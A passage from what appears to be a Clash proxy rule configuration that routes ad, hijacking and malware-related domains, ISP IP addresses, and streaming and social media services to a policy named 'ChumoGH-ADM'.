DOMAIN-SUFFIX,feih.com.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,fjlqqc.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fkku194.com,ChumoGH-ADM +- DOMAIN-SUFFIX,freedrive.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,gclick.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,goufanli100.com,ChumoGH-ADM +- DOMAIN-SUFFIX,goupaoerdai.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gouwubang.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gzxnlk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,haoshengtoys.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hyunke.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ichaosheng.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ishop789.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jdkic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jiubuhua.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jsncke.com,ChumoGH-ADM +- DOMAIN-SUFFIX,junkucm.com,ChumoGH-ADM +- DOMAIN-SUFFIX,jwg365.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,kawo77.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kualianyingxiao.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,kumihua.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ltheanine.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,maipinshangmao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,minisplat.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,mkitgfs.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mlnbike.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mobjump.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nbkbgd.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,newapi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pinzhitmall.com,ChumoGH-ADM +- DOMAIN-SUFFIX,poppyta.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qianchuanghr.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qichexin.com,ChumoGH-ADM +- DOMAIN-SUFFIX,qinchugudao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,quanliyouxi.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,qutaobi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ry51w.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sg536.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifubo.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuce.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuda.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifufu.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuge.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifugu.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuhe.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuhu.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuji.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,sifuka.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,smgru.net,ChumoGH-ADM +- DOMAIN-SUFFIX,taoggou.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tcxshop.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tjqonline.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,topitme.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tt3sm4.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,tuia.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,tuipenguin.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tuitiger.com,ChumoGH-ADM +- DOMAIN-SUFFIX,websd8.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wsgblw.com,ChumoGH-ADM +- DOMAIN-SUFFIX,wx16999.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xchmai.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xiaohuau.xyz,ChumoGH-ADM +- DOMAIN-SUFFIX,ygyzx.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,yinmong.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yitaopt.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yjqiqi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yukhj.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zhaozecheng.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,zhenxinet.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zlne800.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zunmi.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,zzd6.com,ChumoGH-ADM +- IP-CIDR,39.107.15.115/32,ChumoGH-ADM,no-resolve +- IP-CIDR,47.89.59.182/32,ChumoGH-ADM,no-resolve +- IP-CIDR,103.49.209.27/32,ChumoGH-ADM,no-resolve +- IP-CIDR,123.56.152.96/32,ChumoGH-ADM,no-resolve +# > ChinaTelecom +- IP-CIDR,61.160.200.223/32,ChumoGH-ADM,no-resolve +- IP-CIDR,61.160.200.242/32,ChumoGH-ADM,no-resolve +- IP-CIDR,61.160.200.252/32,ChumoGH-ADM,no-resolve +- IP-CIDR,61.174.50.214/32,ChumoGH-ADM,no-resolve +- IP-CIDR,111.175.220.163/32,ChumoGH-ADM,no-resolve +- IP-CIDR,111.175.220.164/32,ChumoGH-ADM,no-resolve +- IP-CIDR,122.229.8.47/32,ChumoGH-ADM,no-resolve +- IP-CIDR,122.229.29.89/32,ChumoGH-ADM,no-resolve +- IP-CIDR,124.232.160.178/32,ChumoGH-ADM,no-resolve +- IP-CIDR,175.6.223.15/32,ChumoGH-ADM,no-resolve +- IP-CIDR,183.59.53.237/32,ChumoGH-ADM,no-resolve +- IP-CIDR,218.93.127.37/32,ChumoGH-ADM,no-resolve +- IP-CIDR,221.228.17.152/32,ChumoGH-ADM,no-resolve +- IP-CIDR,221.231.6.79/32,ChumoGH-ADM,no-resolve +- IP-CIDR,222.186.61.91/32,ChumoGH-ADM,no-resolve +- IP-CIDR,222.186.61.95/32,ChumoGH-ADM,no-resolve +- IP-CIDR,222.186.61.96/32,ChumoGH-ADM,no-resolve +- IP-CIDR,222.186.61.97/32,ChumoGH-ADM,no-resolve +# > ChinaUnicom +- IP-CIDR,106.75.231.48/32,ChumoGH-ADM,no-resolve +- IP-CIDR,119.4.249.166/32,ChumoGH-ADM,no-resolve +- IP-CIDR,220.196.52.141/32,ChumoGH-ADM,no-resolve +- IP-CIDR,221.6.4.148/32,ChumoGH-ADM,no-resolve +# > ChinaMobile +- IP-CIDR,114.247.28.96/32,ChumoGH-ADM,no-resolve +- IP-CIDR,221.179.131.72/32,ChumoGH-ADM,no-resolve +- IP-CIDR,221.179.140.145/32,ChumoGH-ADM,no-resolve +# > Dr.Peng +# - IP-CIDR,10.72.25.0/24,ChumoGH-ADM,no-resolve +- IP-CIDR,115.182.16.79/32,ChumoGH-ADM,no-resolve +- IP-CIDR,118.144.88.126/32,ChumoGH-ADM,no-resolve +- IP-CIDR,118.144.88.215/32,ChumoGH-ADM,no-resolve +- IP-CIDR,118.144.88.216/32,ChumoGH-ADM,no-resolve +- IP-CIDR,120.76.189.132/32,ChumoGH-ADM,no-resolve +- IP-CIDR,124.14.21.147/32,ChumoGH-ADM,no-resolve +- IP-CIDR,124.14.21.151/32,ChumoGH-ADM,no-resolve +- IP-CIDR,180.166.52.24/32,ChumoGH-ADM,no-resolve +- IP-CIDR,211.161.101.106/32,ChumoGH-ADM,no-resolve +- IP-CIDR,220.115.251.25/32,ChumoGH-ADM,no-resolve +- IP-CIDR,222.73.156.235/32,ChumoGH-ADM,no-resolve + +# Malware 恶意网站 +# > 快压 +# https://zhuanlan.zhihu.com/p/39534279 +- DOMAIN-SUFFIX,kuaizip.com,ChumoGH-ADM +# > MacKeeper +# https://www.lizhi.io/blog/40002904 +- DOMAIN-SUFFIX,mackeeper.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zryydi.com,ChumoGH-ADM +# > Adobe Flash China Special Edition +# https://www.zhihu.com/question/281163698/answer/441388130 +- DOMAIN-SUFFIX,flash.cn,ChumoGH-ADM +- DOMAIN,geo2.adobe.com,ChumoGH-ADM +# > C&J Marketing 思杰马克丁软件 +# https://www.zhihu.com/question/46746200 +- DOMAIN-SUFFIX,4009997658.com,ChumoGH-ADM +- DOMAIN-SUFFIX,abbyychina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bartender.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,betterzip.net,ChumoGH-ADM +- DOMAIN-SUFFIX,betterzipcn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,beyondcompare.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,bingdianhuanyuan.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,chemdraw.com.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,cjmakeding.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cjmkt.com,ChumoGH-ADM +- DOMAIN-SUFFIX,codesoftchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,coreldrawchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,crossoverchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dongmansoft.com,ChumoGH-ADM +- DOMAIN-SUFFIX,earmasterchina.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,easyrecoverychina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ediuschina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,flstudiochina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,formysql.com,ChumoGH-ADM +- DOMAIN-SUFFIX,guitarpro.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,huishenghuiying.com.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,hypersnap.net,ChumoGH-ADM +- DOMAIN-SUFFIX,iconworkshop.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,imindmap.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,jihehuaban.com.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,keyshot.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,kingdeecn.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,logoshejishi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,luping.net.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,mairuan.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,mairuan.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mairuan.com.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,mairuan.net,ChumoGH-ADM +- DOMAIN-SUFFIX,mairuanwang.com,ChumoGH-ADM +- DOMAIN-SUFFIX,makeding.com,ChumoGH-ADM +- DOMAIN-SUFFIX,mathtype.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,mindmanager.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,mindmanager.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,mindmapper.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,mycleanmymac.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nicelabel.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,ntfsformac.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,ntfsformac.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,overturechina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,passwordrecovery.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,pdfexpert.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,photozoomchina.com,ChumoGH-ADM +- DOMAIN-SUFFIX,shankejingling.com,ChumoGH-ADM +- DOMAIN-SUFFIX,ultraiso.net,ChumoGH-ADM +- DOMAIN-SUFFIX,vegaschina.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,xmindchina.net,ChumoGH-ADM +- DOMAIN-SUFFIX,xshellcn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,yihuifu.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,yuanchengxiezuo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zbrushcn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,zhzzx.com,ChumoGH-ADM + +# Global Area Network +# (ChumoGH-ADM) +# (Music) +# > Deezer +# USER-AGENT,Deezer*,ChumoGH-ADM +- DOMAIN-SUFFIX,deezer.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dzcdn.net,ChumoGH-ADM +# > KKBOX +- DOMAIN-SUFFIX,kkbox.com,ChumoGH-ADM +- DOMAIN-SUFFIX,kkbox.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,kfs.io,ChumoGH-ADM +# > JOOX +# USER-AGENT,WeMusic*,ChumoGH-ADM +# USER-AGENT,JOOX*,ChumoGH-ADM +- DOMAIN-SUFFIX,joox.com,ChumoGH-ADM +# > Pandora +# USER-AGENT,Pandora*,ChumoGH-ADM +- DOMAIN-SUFFIX,pandora.com,ChumoGH-ADM +# > SoundCloud +# USER-AGENT,SoundCloud*,ChumoGH-ADM +- DOMAIN-SUFFIX,p-cdn.us,ChumoGH-ADM +- DOMAIN-SUFFIX,sndcdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,soundcloud.com,ChumoGH-ADM +# > Spotify +# USER-AGENT,Spotify*,ChumoGH-ADM +- DOMAIN-SUFFIX,pscdn.co,ChumoGH-ADM +- DOMAIN-SUFFIX,scdn.co,ChumoGH-ADM +- DOMAIN-SUFFIX,spotify.com,ChumoGH-ADM +- DOMAIN-SUFFIX,spoti.fi,ChumoGH-ADM +- DOMAIN-KEYWORD,spotify.com,ChumoGH-ADM +- DOMAIN-KEYWORD,-spotify-com,ChumoGH-ADM +# > TIDAL +# USER-AGENT,TIDAL*,ChumoGH-ADM +- DOMAIN-SUFFIX,tidal.com,ChumoGH-ADM +# > YouTubeMusic +# USER-AGENT,com.google.ios.youtubemusic*,ChumoGH-ADM +# USER-AGENT,YouTubeMusic*,ChumoGH-ADM +# (Video) +# > All4 +# USER-AGENT,All4*,ChumoGH-ADM +- DOMAIN-SUFFIX,c4assets.com,ChumoGH-ADM +- DOMAIN-SUFFIX,channel4.com,ChumoGH-ADM +# > AbemaTV +# USER-AGENT,AbemaTV*,ChumoGH-ADM +- DOMAIN-SUFFIX,abema.io,ChumoGH-ADM +- DOMAIN-SUFFIX,ameba.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,abema.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,hayabusa.io,ChumoGH-ADM +- DOMAIN,abematv.akamaized.net,ChumoGH-ADM +- DOMAIN,ds-linear-abematv.akamaized.net,ChumoGH-ADM +- DOMAIN,ds-vod-abematv.akamaized.net,ChumoGH-ADM +- DOMAIN,linear-abematv.akamaized.net,ChumoGH-ADM +# > Amazon Prime Video +# USER-AGENT,InstantVideo.US*,ChumoGH-ADM +# USER-AGENT,Prime%20Video*,ChumoGH-ADM +- DOMAIN-SUFFIX,aiv-cdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,aiv-delivery.net,ChumoGH-ADM +- DOMAIN-SUFFIX,amazonvideo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,primevideo.com,ChumoGH-ADM +- DOMAIN,avodmp4s3ww-a.akamaihd.net,ChumoGH-ADM +- DOMAIN,d25xi40x97liuc.cloudfront.net,ChumoGH-ADM +- DOMAIN,dmqdd6hw24ucf.cloudfront.net,ChumoGH-ADM +- DOMAIN,d22qjgkvxw22r6.cloudfront.net,ChumoGH-ADM +- DOMAIN,d1v5ir2lpwr8os.cloudfront.net,ChumoGH-ADM +- DOMAIN-KEYWORD,avoddashs,ChumoGH-ADM +# > Bahamut +# USER-AGENT,Anime*,ChumoGH-ADM +- DOMAIN-SUFFIX,bahamut.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,gamer.com.tw,ChumoGH-ADM +- DOMAIN,gamer-cds.cdn.hinet.net,ChumoGH-ADM +- DOMAIN,gamer2-cds.cdn.hinet.net,ChumoGH-ADM +# > BBC iPlayer +# USER-AGENT,BBCiPlayer*,ChumoGH-ADM +- DOMAIN-SUFFIX,bbc.co.uk,ChumoGH-ADM +- DOMAIN-SUFFIX,bbci.co.uk,ChumoGH-ADM +- DOMAIN-KEYWORD,bbcfmt,ChumoGH-ADM +- DOMAIN-KEYWORD,uk-live,ChumoGH-ADM +# > DAZN +# USER-AGENT,DAZN*,ChumoGH-ADM +- DOMAIN-SUFFIX,dazn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dazn-api.com,ChumoGH-ADM +- DOMAIN,d151l6v8er5bdm.cloudfront.net,ChumoGH-ADM +- DOMAIN-KEYWORD,voddazn,ChumoGH-ADM +# > Disney+ +# USER-AGENT,Disney+*,ChumoGH-ADM +- DOMAIN-SUFFIX,bamgrid.com,ChumoGH-ADM +- DOMAIN-SUFFIX,disney-plus.net,ChumoGH-ADM +- DOMAIN-SUFFIX,disneyplus.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dssott.com,ChumoGH-ADM +- DOMAIN,cdn.registerdisney.go.com,ChumoGH-ADM +# > encoreTVB +# USER-AGENT,encoreTVB*,ChumoGH-ADM +- DOMAIN-SUFFIX,encoretvb.com,ChumoGH-ADM +- DOMAIN,edge.api.brightcove.com,ChumoGH-ADM +- DOMAIN,bcbolt446c5271-a.akamaihd.net,ChumoGH-ADM +# > FOX NOW +# USER-AGENT,FOX%20NOW*,ChumoGH-ADM +- DOMAIN-SUFFIX,fox.com,ChumoGH-ADM +- DOMAIN-SUFFIX,foxdcg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,theplatform.com,ChumoGH-ADM +- DOMAIN-SUFFIX,uplynk.com,ChumoGH-ADM +# > HBO NOW +# USER-AGENT,HBO%20NOW*,ChumoGH-ADM +- DOMAIN-SUFFIX,hbo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hbogo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hbonow.com,ChumoGH-ADM +# > HBO GO HKG +# USER-AGENT,HBO%20GO%20PROD%20HKG*,ChumoGH-ADM +- DOMAIN-SUFFIX,hbogoasia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hbogoasia.hk,ChumoGH-ADM +- DOMAIN,bcbolthboa-a.akamaihd.net,ChumoGH-ADM +- DOMAIN,players.brightcove.net,ChumoGH-ADM +- DOMAIN,s3-ap-southeast-1.amazonaws.com,ChumoGH-ADM +- DOMAIN,dai3fd1oh325y.cloudfront.net,ChumoGH-ADM +- DOMAIN,44wilhpljf.execute-api.ap-southeast-1.amazonaws.com,ChumoGH-ADM +- DOMAIN,hboasia1-i.akamaihd.net,ChumoGH-ADM +- DOMAIN,hboasia2-i.akamaihd.net,ChumoGH-ADM +- DOMAIN,hboasia3-i.akamaihd.net,ChumoGH-ADM +- DOMAIN,hboasia4-i.akamaihd.net,ChumoGH-ADM +- DOMAIN,hboasia5-i.akamaihd.net,ChumoGH-ADM +- DOMAIN,cf-images.ap-southeast-1.prod.boltdns.net,ChumoGH-ADM +# > 华文电视 +# USER-AGENT,HWTVMobile*,ChumoGH-ADM +- DOMAIN-SUFFIX,5itv.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,ocnttv.com,ChumoGH-ADM +# > Hulu +- DOMAIN-SUFFIX,hulu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,huluim.com,ChumoGH-ADM +- DOMAIN-SUFFIX,hulustream.com,ChumoGH-ADM +# > Hulu(フールー) +- DOMAIN-SUFFIX,happyon.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,hulu.jp,ChumoGH-ADM +# > ITV +# USER-AGENT,ITV_Player*,ChumoGH-ADM +- DOMAIN-SUFFIX,itv.com,ChumoGH-ADM +- DOMAIN-SUFFIX,itvstatic.com,ChumoGH-ADM +- DOMAIN,itvpnpmobile-a.akamaihd.net,ChumoGH-ADM +# > KKTV +# USER-AGENT,KKTV*,ChumoGH-ADM +# USER-AGENT,com.kktv.ios.kktv*,ChumoGH-ADM +- DOMAIN-SUFFIX,kktv.com.tw,ChumoGH-ADM +- DOMAIN-SUFFIX,kktv.me,ChumoGH-ADM +- DOMAIN,kktv-theater.kk.stream,ChumoGH-ADM +# > Line TV +# USER-AGENT,LINE%20TV*,ChumoGH-ADM +- DOMAIN-SUFFIX,linetv.tw,ChumoGH-ADM +- DOMAIN,d3c7rimkq79yfu.cloudfront.net,ChumoGH-ADM +# > LiTV +- DOMAIN-SUFFIX,litv.tv,ChumoGH-ADM +- DOMAIN,litvfreemobile-hichannel.cdn.hinet.net,ChumoGH-ADM +# > My5 +# USER-AGENT,My5*,ChumoGH-ADM +- DOMAIN-SUFFIX,channel5.com,ChumoGH-ADM +- DOMAIN-SUFFIX,my5.tv,ChumoGH-ADM +- DOMAIN,d349g9zuie06uo.cloudfront.net,ChumoGH-ADM +# > myTV SUPER +# USER-AGENT,mytv*,ChumoGH-ADM +- DOMAIN-SUFFIX,mytvsuper.com,ChumoGH-ADM +- DOMAIN-SUFFIX,tvb.com,ChumoGH-ADM +# > Netflix +# USER-AGENT,Argo*,ChumoGH-ADM +- DOMAIN-SUFFIX,netflix.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflix.net,ChumoGH-ADM +- DOMAIN-SUFFIX,nflxext.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nflximg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,nflximg.net,ChumoGH-ADM +- DOMAIN-SUFFIX,nflxso.net,ChumoGH-ADM +- DOMAIN-SUFFIX,nflxvideo.net,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest0.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest1.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest2.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest3.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest4.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest5.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest6.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest7.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest8.com,ChumoGH-ADM +- DOMAIN-SUFFIX,netflixdnstest9.com,ChumoGH-ADM +- IP-CIDR,23.246.0.0/18,ChumoGH-ADM,no-resolve +- IP-CIDR,37.77.184.0/21,ChumoGH-ADM,no-resolve +- IP-CIDR,45.57.0.0/17,ChumoGH-ADM,no-resolve +- IP-CIDR,64.120.128.0/17,ChumoGH-ADM,no-resolve +- IP-CIDR,66.197.128.0/17,ChumoGH-ADM,no-resolve +- IP-CIDR,108.175.32.0/20,ChumoGH-ADM,no-resolve +- IP-CIDR,192.173.64.0/18,ChumoGH-ADM,no-resolve +- IP-CIDR,198.38.96.0/19,ChumoGH-ADM,no-resolve +- IP-CIDR,198.45.48.0/20,ChumoGH-ADM,no-resolve +# > niconico +# USER-AGENT,Niconico*,ChumoGH-ADM +- DOMAIN-SUFFIX,dmc.nico,ChumoGH-ADM +- DOMAIN-SUFFIX,nicovideo.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,nimg.jp,ChumoGH-ADM +- DOMAIN-SUFFIX,socdm.com,ChumoGH-ADM +# > PBS +# USER-AGENT,PBS*,ChumoGH-ADM +- DOMAIN-SUFFIX,pbs.org,ChumoGH-ADM +# > Pornhub +- DOMAIN-SUFFIX,phncdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pornhub.com,ChumoGH-ADM +- DOMAIN-SUFFIX,pornhubpremium.com,ChumoGH-ADM +# > 台湾好 +# USER-AGENT,TaiwanGood*,ChumoGH-ADM +- DOMAIN-SUFFIX,skyking.com.tw,ChumoGH-ADM +- DOMAIN,hamifans.emome.net,ChumoGH-ADM +# > Twitch +- DOMAIN-SUFFIX,twitch.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,twitchcdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,ttvnw.net,ChumoGH-ADM +- DOMAIN-SUFFIX,jtvnw.net,ChumoGH-ADM +# > ViuTV +# USER-AGENT,Viu*,ChumoGH-ADM +# USER-AGENT,ViuTV*,ChumoGH-ADM +- DOMAIN-SUFFIX,viu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,viu.tv,ChumoGH-ADM +- DOMAIN,api.viu.now.com,ChumoGH-ADM +- DOMAIN,d1k2us671qcoau.cloudfront.net,ChumoGH-ADM +- DOMAIN,d2anahhhmp1ffz.cloudfront.net,ChumoGH-ADM +- DOMAIN,dfp6rglgjqszk.cloudfront.net,ChumoGH-ADM +# > YouTube +# USER-AGENT,com.google.ios.youtube*,ChumoGH-ADM +# USER-AGENT,YouTube*,ChumoGH-ADM +- DOMAIN-SUFFIX,googlevideo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,youtube.com,ChumoGH-ADM +- DOMAIN,youtubei.googleapis.com,ChumoGH-ADM + +# (ChumoGH-ADM) +# > 愛奇藝台灣站 +- DOMAIN,cache.video.iqiyi.com,ChumoGH-ADM +# > bilibili +- DOMAIN-SUFFIX,bilibili.com,ChumoGH-ADM +- DOMAIN,upos-hz-mirrorakam.akamaized.net,ChumoGH-ADM + +# (DNS Cache Pollution Protection) +# > Google +- DOMAIN-SUFFIX,ampproject.org,ChumoGH-ADM +- DOMAIN-SUFFIX,appspot.com,ChumoGH-ADM +- DOMAIN-SUFFIX,blogger.com,ChumoGH-ADM +- DOMAIN-SUFFIX,getoutline.org,ChumoGH-ADM +- DOMAIN-SUFFIX,gvt0.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gvt1.com,ChumoGH-ADM +- DOMAIN-SUFFIX,gvt3.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xn--ngstr-lra8j.com,ChumoGH-ADM +- DOMAIN-KEYWORD,google,ChumoGH-ADM +- DOMAIN-KEYWORD,blogspot,ChumoGH-ADM +# > Microsoft +- DOMAIN-SUFFIX,onedrive.live.com,ChumoGH-ADM +- DOMAIN-SUFFIX,xboxlive.com,ChumoGH-ADM +# > Facebook +- DOMAIN-SUFFIX,cdninstagram.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fb.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fb.me,ChumoGH-ADM +- DOMAIN-SUFFIX,fbaddins.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fbcdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,fbsbx.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fbworkmail.com,ChumoGH-ADM +- DOMAIN-SUFFIX,instagram.com,ChumoGH-ADM +- DOMAIN-SUFFIX,m.me,ChumoGH-ADM +- DOMAIN-SUFFIX,messenger.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oculus.com,ChumoGH-ADM +- DOMAIN-SUFFIX,oculuscdn.com,ChumoGH-ADM +- DOMAIN-SUFFIX,rocksdb.org,ChumoGH-ADM +- DOMAIN-SUFFIX,whatsapp.com,ChumoGH-ADM +- DOMAIN-SUFFIX,whatsapp.net,ChumoGH-ADM +- DOMAIN-KEYWORD,facebook,ChumoGH-ADM +- IP-CIDR,3.123.36.126/32,ChumoGH-ADM,no-resolve +- IP-CIDR,35.157.215.84/32,ChumoGH-ADM,no-resolve +- IP-CIDR,35.157.217.255/32,ChumoGH-ADM,no-resolve +- IP-CIDR,52.58.209.134/32,ChumoGH-ADM,no-resolve +- IP-CIDR,54.93.124.31/32,ChumoGH-ADM,no-resolve +- IP-CIDR,54.162.243.80/32,ChumoGH-ADM,no-resolve +- IP-CIDR,54.173.34.141/32,ChumoGH-ADM,no-resolve +- IP-CIDR,54.235.23.242/32,ChumoGH-ADM,no-resolve +- IP-CIDR,169.45.248.118/32,ChumoGH-ADM,no-resolve +# > Twitter +- DOMAIN-SUFFIX,pscp.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,periscope.tv,ChumoGH-ADM +- DOMAIN-SUFFIX,t.co,ChumoGH-ADM +- DOMAIN-SUFFIX,twimg.co,ChumoGH-ADM +- DOMAIN-SUFFIX,twimg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,twitpic.com,ChumoGH-ADM +- DOMAIN-SUFFIX,vine.co,ChumoGH-ADM +- DOMAIN-KEYWORD,twitter,ChumoGH-ADM +# > Telegram +- DOMAIN-SUFFIX,t.me,ChumoGH-ADM +- DOMAIN-SUFFIX,tdesktop.com,ChumoGH-ADM +- DOMAIN-SUFFIX,telegra.ph,ChumoGH-ADM +- DOMAIN-SUFFIX,telegram.me,ChumoGH-ADM +- DOMAIN-SUFFIX,telegram.org,ChumoGH-ADM +- IP-CIDR,91.108.4.0/22,ChumoGH-ADM,no-resolve +- IP-CIDR,91.108.8.0/22,ChumoGH-ADM,no-resolve +- IP-CIDR,91.108.12.0/22,ChumoGH-ADM,no-resolve +- IP-CIDR,91.108.16.0/22,ChumoGH-ADM,no-resolve +- IP-CIDR,91.108.56.0/22,ChumoGH-ADM,no-resolve +- IP-CIDR,149.154.160.0/20,ChumoGH-ADM,no-resolve +# > Line +- DOMAIN-SUFFIX,line.me,ChumoGH-ADM +- DOMAIN-SUFFIX,line-apps.com,ChumoGH-ADM +- DOMAIN-SUFFIX,line-scdn.net,ChumoGH-ADM +- DOMAIN-SUFFIX,naver.jp,ChumoGH-ADM +- IP-CIDR,103.2.30.0/23,ChumoGH-ADM,no-resolve +- IP-CIDR,125.209.208.0/20,ChumoGH-ADM,no-resolve +- 